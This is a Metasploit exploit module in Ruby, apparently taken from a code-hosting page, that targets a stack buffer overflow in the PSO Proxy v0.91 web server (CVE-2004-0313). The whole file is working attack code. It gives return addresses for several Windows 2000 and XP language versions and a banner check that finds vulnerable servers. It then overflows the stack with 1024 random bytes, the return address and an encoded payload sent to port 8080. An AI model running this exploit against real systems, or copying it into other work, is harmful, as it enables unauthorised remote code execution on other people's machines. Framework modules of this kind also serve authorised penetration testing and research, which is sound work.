81 lines
2.3 KiB
Ruby
81 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PSO Proxy v0.91 Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
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If a client sends an excessively long string the stack is overwritten.
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},
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-0313' ],
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[ 'OSVDB', '4028' ],
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[ 'EDB', '156' ],
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[ 'BID', '9706' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 370,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
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[ 'Windows 2000 Pro SP0-4 English', { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
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[ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
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[ 'Windows 2000 Pro SP0-4 Italian', { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
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[ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
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[ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 20 2004'
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))
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register_options(
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[
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Opt::RPORT(8080),
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], self.class)
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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banner = sock.get_once
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if (banner.to_s =~ /PSO Proxy 0\.9/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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exploit = rand_text_alphanumeric(1024, payload_badchars)
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exploit += [target['Ret']].pack('V') + payload.encoded
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sock.put(exploit + "\r\n\r\n")
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disconnect
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handler
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end
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end
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